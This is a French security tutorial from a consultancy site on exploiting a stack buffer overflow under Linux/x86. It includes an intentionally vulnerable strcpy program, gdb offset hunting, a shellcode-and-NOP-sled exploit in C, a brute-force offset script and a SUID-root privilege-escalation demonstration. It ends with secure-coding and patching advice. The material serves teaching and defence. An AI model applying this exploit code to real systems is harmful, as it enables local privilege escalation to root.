HSC
Network Security Consulting Agency Since 1989 - Specialized in Unix, Windows, TCP/IP and Internet
Text mode: access to the page content
Hervé Schauer Consultants
You are here: Home > Resources > Tips > Introduction à l'exploitation des débordements de tampons
Go to: HSC Trainings
Télécharger le catalogue des formations
Search:  
Version française
   Services   
o Skills & Expertise
o Consulting
o ISO 27001 services
o Audit & Assessment
o Penetration tests
o Vunerability assessment (TSAR)
o Forensics
o ARJEL
o Training courses
o E-learning
   Conferences   
o Agenda
o Past events
o Tutorials
   Resources   
o Thematic index
o Tips
o Lectures
o Courses
o Articles
o Tools (download)
o Vulnerability watch
   Company   
o Hervé Schauer
o Team
o Job opportunities
o Credentials
o History
o Partnerships
o Associations
   Press and
 communication
 
 
o HSC Newsletter
o Bulletin juridique HSC
o Press review
o Press releases
o Publications
   Contacts   
o How to reach us
o Specific inquiries
o Directions to our office
o Hotels near our office
|>|Introduction à l'exploitation des débordements de tampons  

by Denis Ducamp (03/09/2001)



0] Introduction
---------------

Cet article montre comment exploiter un débordement de tampon. Il s'agit
d'abord ici de démystifier l'exploitation des failles de sécurité les plus
communes : les débordements de tampons dans la pile d'exécution. Ceci afin
de sensibiliser les programmeurs, les administrateurs et les responsables
des risques encourus simplement en expliquant le fonctionnement aux
personnes sensibles aux problèmes de sécurité.

Ce document part du principe que vous connaissez le fonctionnement de la
pile d'exécution et celui des débordements de tampons. Pour cela vous pouvez
voir le document intitulé "Introduction aux débordements de buffer" de
Stéphane Aubert http://www.hsc.fr/ressources/breves/stackoverflow.html .
Quelques notions de C et de l'utilisation d'un débogueur comme gdb seront
les bienvenues.

Ce document, comme la quasi totalité des articles sur le sujet, reprend les
exemples du document "Smashing The Stack For Fun And Profit" de Aleph One
http://www.phrack.org/show.php?p=49&a=14 . Ici sont occultés les
explications nécessaires au fonctionnement de la pile d'exécution et à
l'écriture du shellcode; pour ne se concentrer que sur l'exploitation du
débordement de tampon en donnant quelques explications supplémentaires par
rapport à l'article original.

I] Présentation de la vulnérabilité
-----------------------------------

Le programme vulnérable que nous allons exploiter est le suivant. Il
contient un tampon de 512 octets dans lequel le programme recopie la chaîne
de caractères passée en premier argument par l'utilisateur. Les programmes
nécessaires sont tous inclus dans l'article et sont extractibles avec
l'utilitaire extract présent dans tous les numéros du magazine phrack.

<++> vulnerable.c
void main(int argc, char *argv[]) {
  char buffer[512];

  if (argc > 1)
    strcpy(buffer,argv[1]);
}
<-->

Les explications des fonctionnalités utilisées seront données après chaque
copie d'écran.

De plus, tous les tests réalisés ici ont été effectués sur un système x86
sous Linux avec un compilateur gcc 2.95.x et un bibliothèque C glibc 2.2.x
et avec un environnement d'environ 1,5 Ko depuis un terminal rxvt exécutant
un shell bash en version 2.0.x . Si les différents programmes devraient
fonctionner sur tout système x86, différentes versions de compilateur et de
bibliothèque C et une taille d'environnement différente pourront faire
varier les différentes valeurs à utiliser. Le shellcode utilisé ici par
contre ne fonctionnera que sur Linux/x86.

2] Décorticage de la vulnérabilité
----------------------------------

Après compilation, il est facilement possible de vérifier que quelque chose
cloche dans le programme vulnérable puisqu'il génère une erreur lorsqu'un
paramètre de 1000 caractères lui est passé en premier argument.

---------------------------------------------------------------------
$ gcc -g -o vulnerable vulnerable.c
$ ./vulnerable `perl -e 'print "A" x 1000'`
Segmentation fault
$ gdb ./vulnerable
GNU gdb 5.0
[...]
(gdb) run `perl -e 'print "A" x 1000'`
Starting program: /home/ducamp/expl/aleph1/./vulnerable `perl -e 'print "A" x 1000'`
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) bt
#0  0x41414141 in ?? ()
Cannot access memory at address 0x41414141
(gdb) x/176xb $esp-88
0xbffff40c:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xbffff414:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
[...]
0xbffff4ac:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xbffff4b4:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
(gdb) q
The program is running.  Exit anyway? (y or n) y
$
---------------------------------------------------------------------

Pour vérifier que ceci est le type de vulnérabilité recherchée, il faut
lancer gdb en lui indiquant le programme, puis lancer l'exécution avec les
paramètres à utiliser. gdb indique que le programme a été interrompu suite à
la réception du signal SIGSEGV lors d'une tentative d'accès à l'adresse
mémoire 0x41414141. En consultant le contenu de la pile (ici en hexadécimal
sur 176 octets depuis l'adresse esp-88, esp étant le sommet de la pile), il
est possible de voir que celle-ci a été écrasée avec des caractères "A"
(dont le code ASCII est 0x41 en hexadécimal).

Essayons de déterminer quand le problème a eu lieu :

---------------------------------------------------------------------
$ gdb ./vulnerable
GNU gdb 5.0
[...]
(gdb) break vulnerable.c:5
Breakpoint 1 at 0x80483f3: file vulnerable.c, line 5.
(gdb) run `perl -e 'print "A" x 1000'`
Starting program: /home/ducamp/expl/aleph1/./vulnerable `perl -e 'print "A" x 1000'`

Breakpoint 1, main (argc=2, argv=0xbffff4c4) at vulnerable.c:5
5           strcpy(buffer,argv[1]);
(gdb) x/176xb $esp-88
0xbffff1fc:     0x0c    0xf3    0xff    0xbf    0xb5    0x86    0x00    0x40
0xbffff204:     0xf4    0x57    0x01    0x40    0x0e    0x4f    0x00    0x00
[...]
0xbffff244:     0xdb    0x54    0x03    0x40    0xdb    0x54    0x03    0x40
0xbffff24c:     0x00    0x00    0x00    0x00    0xb5    0x86    0x00    0x40
0xbffff254:     0xf4    0x57    0x01    0x40    0x58    0x3a    0x00    0x00
0xbffff25c:     0x00    0x00    0x00    0x00    0xb4    0x25    0x00    0x40
[...]
0xbffff29c:     0x90    0x62    0x01    0x40    0x48    0xf3    0xff    0xbf
0xbffff2a4:     0x90    0x62    0x01    0x40    0xde    0x11    0x03    0x40
(gdb) next
6       }
(gdb) x/176xb $esp-88
0xbffff1fc:     0x58    0xca    0x12    0x40    0x64    0x5d    0x01    0x40
0xbffff204:     0xc4    0xf4    0xff    0xbf    0x0e    0x4f    0x00    0x00
[...]
0xbffff244:     0x5c    0xf2    0xff    0xbf    0x2a    0xf6    0xff    0xbf
0xbffff24c:     0x00    0x00    0x00    0x00    0xb5    0x86    0x00    0x40
0xbffff254:     0xf4    0x57    0x01    0x40    0x58    0x3a    0x00    0x00
0xbffff25c:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
[...]
0xbffff29c:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xbffff2a4:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
(gdb) cont
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) q
The program is running.  Exit anyway? (y or n) y
$
---------------------------------------------------------------------

Nous venons de relancer le programme vulnérable sous gdb après avoir
positionné un point d'arrêt (breakpoint) avant l'appel à strcpy(). Le
programme s'est arrêté avant d'appeler cette fonction et à cet instant, la
pile d'exécution est correcte. Durant l'appel à strcpy(), la pile a été
écrasée, mais la partie correspondant aux données de strcpy est toujours
intacte donc le retour dans main() se déroule sans problème. En continuant
l'exécution, c'est à dire en sortant de main(), le programme utilise les
données de l'utilisateur pour continuer son exécution et est redirigé vers
l'adresse 0x41414141.

Pour exploiter cela, il faut maintenant déterminer combien de caractères il
faut mettre avant l'adresse de retour, celle-ci indiquant l'adresse du code
que nous souhaitons faire exécuter. Nous allons donc faire suivre une chaîne
de "A" dont la taille est à déterminer de la chaîne "EDCB" qui en
hexadécimal s'écrit 0x42434445. Cette longueur doit être proche de 512 qui
est la taille totale des variables locales de la fonction main().

---------------------------------------------------------------------
$ gdb ./vulnerable
GNU gdb 5.0
[...]
(gdb) run `perl -e 'print "A" x 516 . "EDCB"'`
Starting program: /home/ducamp/expl/aleph1/./vulnerable `perl -e 'print "A" x 516 . "EDCB"'`

Program received signal SIGSEGV, Segmentation fault.
0x42434445 in ?? ()
(gdb) q
The program is running.  Exit anyway? (y or n) y
---------------------------------------------------------------------

L'adresse à laquelle le processeur a voulu continuer l'exécution du
processus correspond à la chaîne "EDCB". Après quelques essais, nous sommes
donc arrivés à mettre le nombre exact de caractères nécessaires pour placer
l'adresse de retour à la bonne place et déterminer que la bonne taille sur
notre machine de test est de 516 octets.

Voyons en détail ce qu'il s'est passé :

---------------------------------------------------------------------
$ gdb ./vulnerable
GNU gdb 5.0
[...]
(gdb) break vulnerable.c:5
Breakpoint 1 at 0x80483f3: file vulnerable.c, line 5.
(gdb) run `perl -e 'print "A" x 516 . "EDCB"'`
Starting program: /home/ducamp/expl/aleph1/./vulnerable `perl -e 'print "A" x 516 . "EDCB"'`

Breakpoint 1, main (argc=2, argv=0xbffff6a4) at vulnerable.c:5
5           strcpy(buffer,argv[1]);
(gdb) p$eip
$1 = (void *) 0x80483f3
(gdb) p$esp
$2 = (void *) 0xbffff434
(gdb) x/40xb $esp+516-8
0xbffff630:     0x58    0xca    0x12    0x40    0x90    0xba    0x00    0x40
0xbffff638:     0x58    0xf6    0xff    0xbf    0x78    0xf6    0xff    0xbf
0xbffff640:     0xeb    0xe2    0x03    0x40    0x02    0x00    0x00    0x00
0xbffff648:     0xa4    0xf6    0xff    0xbf    0xb0    0xf6    0xff    0xbf
0xbffff650:     0x3c    0x84    0x04    0x08    0x00    0x00    0x00    0x00
(gdb) print &buffer
$3 = (char (*)[512]) 0xbffff43c
(gdb) x/4xb buffer+516
0xbffff640:     0xeb    0xe2    0x03    0x40
(gdb) next
6       }
(gdb) p$eip
$3 = (void *) 0x804840e
(gdb) p$esp
$4 = (void *) 0xbffff434
(gdb) x/40xb $esp+516-8
0xbffff630:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xbffff638:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xbffff640:     0x45    0x44    0x43    0x42    0x00    0x00    0x00    0x00
0xbffff648:     0xa4    0xf6    0xff    0xbf    0xb0    0xf6    0xff    0xbf
0xbffff650:     0x3c    0x84    0x04    0x08    0x00    0x00    0x00    0x00
(gdb) x/4xb buffer+516
0xbffff640:     0x45    0x44    0x43    0x42
(gdb) cont
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x42434445 in ?? ()
(gdb) p$eip
$5 = (void *) 0x42434445
(gdb) p$esp
$6 = (void *) 0xbffff644
(gdb) q
The program is running.  Exit anyway? (y or n) y
$
---------------------------------------------------------------------

Ici lorsque le programme arrive avant l'appel à strcpy(), le registre eip
(pointeur vers l'instruction à exécuter) vaut 0x80483f3 et le registre esp
(pointeur vers le haut de la pile) vaut 0xbffff434. Le tableau buffer a pour
adresse 0xbffff43c et l'adresse 0xbffff640 (0xbffff43c+516 = buffer+516)
contient 0x4003e2eb.

Après l'appel à strcpy(), eip vaut 0x804840e, esp vaut 0xbffff434 et
l'adresse 0xbffff640 (buffer+516) contient 0x42434445. Après continuation de
l'exécution, le programme reçoit le signal SIGSEGV pour avoir tenté de
continuer son exécution à partir de l'adresse 0x42434445, c.-à-d. à
l'adresse contenue à l'adresse 0xbffff640.

3] Exploitation de la vulnérabilité
-----------------------------------

La difficulté suivante est de déterminer l'adresse de retour à placer à la
place de 0x42434445. Il s'agit ici de la plus grosse difficulté dans
l'exploitation d'un débordement de tampon dans la pile d'exécution. Tout
ceux qui se seront essayés à cela auront buté sur ce problème et beaucoup en
auront conclu, à tort malheureusement, qu'il faut être un génie pour
résoudre ce problème...

En fait avec la bonne méthode, et surtout le bon programme tel que le
suivant, il est possible de rechercher par force brute les valeurs possibles
dans un cas particulier.

<++> exploit3.c
#include <stdlib.h>

#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE             512
#define NOP                            0x90

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/tmp/sh";

unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
  char *buff, *ptr;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i;

  if (argc > 1) bsize  = atoi(argv[1]);
  if (argc > 2) offset = atoi(argv[2]);

  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }

  addr = get_sp() - offset;
  printf("Using address: 0x%x\n", addr);

  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  for (i = 0; i < bsize/2; i++)
    buff[i] = NOP;

  ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  buff[bsize - 1] = '\0';

  memcpy(buff,"EGG=",4);
  putenv(buff);
  system("/bin/bash");
}
<-->
<++> sh.c
#include <stdio.h>
main(){
printf("XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\n"
       "Smashing The Stack For Fun And Profit Smashing The Stack For Fun And Profit\n"
       "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\n"
);
fflush(stdout);
}
<-->

Le programme exploit3 exécute un shell après avoir créé la variable
d'environnement nommée EGG. La valeur attribuée à cette variable contient
entre autres :
 . une série de NOP,
 . le shell code,
 . l'adresse de retour (en de nombreux exemplaires pour en simplifier
   l'exploitation dans le cas où la vulnérabilité puisse se présenter dans
   des configurations légèrement différentes du point de vue de sa pile
   d'exécution).

L'adresse de retour est censée tomber quelque part dans la série de NOP au
début du tampon. Pour déterminer cette valeur, le programme récupère
l'adresse de pointeur de pile (esp) et y soustrait un offset (déplacement)
donné par le deuxième paramètre. La taille du tampon est donnée par le
premier paramètre.

Nous allons utiliser le programme sh.c compilé en /tmp/sh pour nous aider à
déterminer ces valeurs. Pour cela nous avons aussi modifié le shellcode pour
qu'il exécute /tmp/sh au lieu de /bin/sh ;)

Pour la taille du tampon à créer, il est nécessaire de prendre en compte la
taille du tampon à déborder et de celles des variables d'à côté. Ici nous
n'avons que le tampon à déborder et auparavant nous avons pu déterminer que
les 4 octets suivants les 516 premiers écrasaient la valeur de retour. Pour
prendre une marge, nous allons donner 612 comme longueur du tampon à créer.

Pour l'offset à donner, nous allons essayer de découvrir sa valeur par force
brute ;) avec le petit programme en shell Bourne suivant :

<++>brute.sh
#!/bin/sh
i=0 ;
while test $i -lt 1000 ; do
        echo == $i == `echo './vulnerable $EGG' | ./exploit3 612 $i` ;
        i=`expr $i + 1` ;
done 2>&1
<-->

Tout d'abord compiler les programmes et lancer le script de recherche par
force brute :

---------------------------------------------------------------------
$ gcc -o exploit3 exploit3.c
$ gcc -o sh sh.c
$ cp sh /tmp
$ chmod a-x brute.sh
$ . ./brute.sh > blah.txt
---------------------------------------------------------------------

Remarque : l'interprétation du script par le shell courant (". ./brute.sh")
  est préféré à l'interprétation par un autre shell lancé automatiquement
  par le système ("./brute.sh") afin d'obtenir des résultats directement
  exploitables.

Autre remarque : il se peut que pour certaines valeurs, le programme
  vulnérable boucle indéfiniment... ce sont les aléas des exploitations des
  débordements de tampons ;) Il est donc conseillé de lancer une commande
  top en même temps que le script de recherche... Le temps de recherche est
  de toute façon supérieur à une minute.

Il suffit alors de rechercher dans le fichier blah.txt quelles sont les
valeurs d'offset pour lesquelles la bannière du programme sh.c s'est
affichée. Il est à remarquer que certains intervalles sont très efficaces
alors que d'autres pas du tout... sur ma machine les valeurs à partir de 383
fonctionnent bien. Pour l'exemple suivant j'utilise 444 (choisie de façon à
avoir une adresse de retour proche du shellcode) :

---------------------------------------------------------------------
$ ./exploit3 612 424
Using address: 0xbffff654
$ gdb ./vulnerable
GNU gdb 5.0
[...]
(gdb) break vulnerable.c:5
Breakpoint 1 at 0x80483f3: file vulnerable.c, line 5.
(gdb) run $EGG
Starting program: /home/ducamp/expl/aleph1/./vulnerable $EGG

Breakpoint 1, main (argc=2, argv=0xbffff3f4) at vulnerable.c:5
5           strcpy(buffer,argv[1]);
(gdb) print &buffer
$1 = (char (*)[512]) 0xbffff18c
(gdb) x/4xb buffer+516
0xbffff390:     0xeb    0xe2    0x03    0x40
(gdb) next
6       }
(gdb) x/4xb buffer+516
0xbffff390:     0x54    0xf6    0xff    0xbf
(gdb) x/80xb 0xbffff654-8
0xbffff64c:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff654:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff65c:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff664:     0x90    0x90    0x90    0xeb    0x1f    0x5e    0x89    0x76
0xbffff66c:     0x08    0x31    0xc0    0x88    0x46    0x07    0x89    0x46
0xbffff674:     0x0c    0xb0    0x0b    0x89    0xf3    0x8d    0x4e    0x08
0xbffff67c:     0x8d    0x56    0x0c    0xcd    0x80    0x31    0xdb    0x89
0xbffff684:     0xd8    0x40    0xcd    0x80    0xe8    0xdc    0xff    0xff
0xbffff68c:     0xff    0x2f    0x74    0x6d    0x70    0x2f    0x73    0x68
0xbffff694:     0xf6    0xff    0xbf    0x54    0xf6    0xff    0xbf    0x54
(gdb) cont
Continuing.

Program received signal SIGTRAP, Trace/breakpoint trap.
0x40001f20 in _start () at rtld.c:161
161     rtld.c: No such file or directory.
(gdb) cont
Continuing.
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Smashing The Stack For Fun And Profit Smashing The Stack For Fun And Profit
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

Program exited normally.
(gdb) q
$ ./vulnerable $EGG
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Smashing The Stack For Fun And Profit Smashing The Stack For Fun And Profit
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
$
---------------------------------------------------------------------

Ici nous avons lancé l'exploit dans gdb et positionné un point d'arrêt avant
l'appel à la fonction strcpy() . Le tableau buffer se trouve à l'adresse
0xbffff18c. À l'adresse 0xbffff390 (0xbffff18c+516 = buffer+516) se trouve
la valeur 0x4003e2eb. Après l'appel à strcpy() , c'est maintenant la valeur
0xbffff650 qui se trouve à la même adresse. Cette valeur est bien celle
donnée par le programme exploit3 avant de lancer un shell.

En regardant à l'adresse 0xbffff650, se trouve une suite de valeurs 0x90
correspondant à des NOP, puis les valeurs du shellcode... En faisant cont,
un signal SIGTRAP est obtenu. Ceci est dû au fait que le programme est en
cours de débogage et qu'il vient d'effectuer un appel à une fonction de la
famille des exec() . En continuant l'exécution, le programme /tmp/sh est
bien lancé et l'exécution se déroule normalement.

Après avoir quitté gdb, exécutez l'exploit sans passer par gdb. Cela fait
afficher la bannière magique... :) et voilà votre première exploitation de
débordement de tampon en direct ;)

4] Et si le programme vulnérable avait été privilégié ?
-------------------------------------------------------

Pour que la démonstration soit complète, il faut alors copier la commande id
à la place du programme /tmp/sh et essayer d'exploiter le programme
vulnérable avant et après l'avoir mis SUID root.

Si nous n'avons pas essayé de rendre le programme vulnérable SUID root plus
tôt, c'est tout simplement qu'un programme SUID ne peut être débogué sous
Linux et d'autres systèmes. La raison est qu'un utilisateur ne peut obtenir
le privilège d'utiliser l'appel système ptrace() sur un programme SUID.

---------------------------------------------------------------------
$ cp /usr/bin/id /tmp/sh
$ ./exploit3 612 424
Using address: 0xbffff654
$ ./vulnerable $EGG
uid=1000(ducamp) gid=1000(ducamp) groups=1000(ducamp)
$ su
Password: 
# chown root:root vulnerable
# chmod u+s vulnerable
# ls -l vulnerable
-rwsr-xr-x    1 root     root        13781 Sep  5 19:59 vulnerable
# exit
exit
$ ./vulnerable $EGG
uid=1000(ducamp) gid=1000(ducamp) euid=0(root) groups=1000(ducamp)
$ cp /bin/sh /tmp/sh
$ ./vulnerable $EGG
sh-2.05$ id
uid=1000(ducamp) gid=1000(ducamp) groups=1000(ducamp)
sh-2.05$
---------------------------------------------------------------------

Ici nous pouvons noter que lorsque la commande id est lancée par le
programme vulnérable qui possède des privilèges, le programme id est lui
aussi exécuté avec ces privilèges : l'uid effectif est root.

Après avoir copié un shell (bash en version 2.0.x dans mon cas) à la place
de /tmp/sh et exploité la vulnérabilité, le shell ne parait avec aucun
privilège. En fait il s'agit tout simplement d'une "fonctionnalité" de ce
shell qui ayant détecté que l'uid réel et l'uid effectif sont différents se
débarrasse de ses privilèges. En changeant le shellcode par un autre qui
exécute un setreuid(0) avant l'appel à execve(), les uid réel et effectif
sont identiques et le shell garde alors les privilèges root.

Et n'oubliez pas de supprimer ensuite le bit SUID root sur le programme
vulnérable lorsque vous en avez terminé, au risque de voir les utilisateurs
s'en servir vous venez de le faire ;) (entrez "chmod u-s vulnerable" en tant
que root).

5] Conclusion
-------------

Maintenant que vous avez pu voir que l'exploitation d'un débordement de
tampon peut être une chose assez simple à effectuer, il est donc important
que les programmeurs changent leurs habitudes de programmation en incluant
de simples mesures.

La règle importante est de toujours vérifier les données provenant de
sources non sûres. Ces vérifications doivent prendre en compte le type des
données et leur taille. Ici en limitant la copie à la taille du tampon
destination, le problème aurait alors disparu :

<++>no-vuln.c
#define LNG 511
void main(int argc, char *argv[]) {
  char buffer[LNG+1];

  if (argc > 1)
    strncpy(buffer,argv[1],LNG);
  buffer[LNG]='\0';
}
<-->

Il est à noter que même en limitant les données à certains types de
caractères, comme des chiffres et des lettres (fonction isalnum()) il est
toujours possible, même si cela est plus difficile, d'écrire un shellcode
qui passera le test. Pour des exemples de tels codes, consultez l'article 15
du numéro 57 du magazine phrack. Certains shellcodes existants sont même
résistants aux fonctions tolower() ou toupper().

Il est donc très important de vérifier en taille les données reçues de
sources non sûres telles que les paramètres du programme, l'entrée standard,
le contenu des fichiers à traiter, les données reçues d'autres programmes
(même s'ils font partie du même package) ou du réseau.

Les administrateurs systèmes sont aussi impliqués dans le processus : il est
très important de mettre à jour les démons et programmes locaux dès qu'une
faille de sécurité est annoncée. Des fonctionnalités comme :
 . une pile non exécutable (voir pour Linux le patch Openwall par Solar
   Designer : http://www.openwall.com/linux/ )
 . un patch au compilateur pour rendre les programmes auto-immunes (voir
   pour Linux StackGuard
   http://www.immunix.org/products.html#stackguard )
permettent seulement de rajouter une barrière supplémentaire, mais ne
constituent en aucun cas un mur infranchissable, chacune ayant ses
faiblesses (sauts par trampoline et vulnérabilités des chaînes de format).
Il est donc important dans tous les cas de mettre à jour ses systèmes dans
les plus brefs délais dès l'annonce de la vulnérabilité.

Mais la plus grande responsabilité incombe aux décideurs : il est très
important de prendre en compte la sécurité. Ainsi, il est nécessaire de
laisser plus de temps aux développeurs pour s'assurer qu'un minimum de
vérifications soient réalisées et de laisser plus de temps aux
administrateurs pour suivre les listes de sécurité et mettre à jour les
systèmes dès que cela est nécessaire.

Remerciements :
 . à tous ceux qui ont testé ma démo, même quand elle était en version béta
 . à tous les relecteurs de HSC
 . à tous les eXperts sans qui les meilleurs détails ne seraient pas là



Last modified on 30 Mars 2006 at 19:27:47 CET - webmaster@hsc.fr
Mentions légales - Information on this server - © 1989-2013 Hervé Schauer Consultants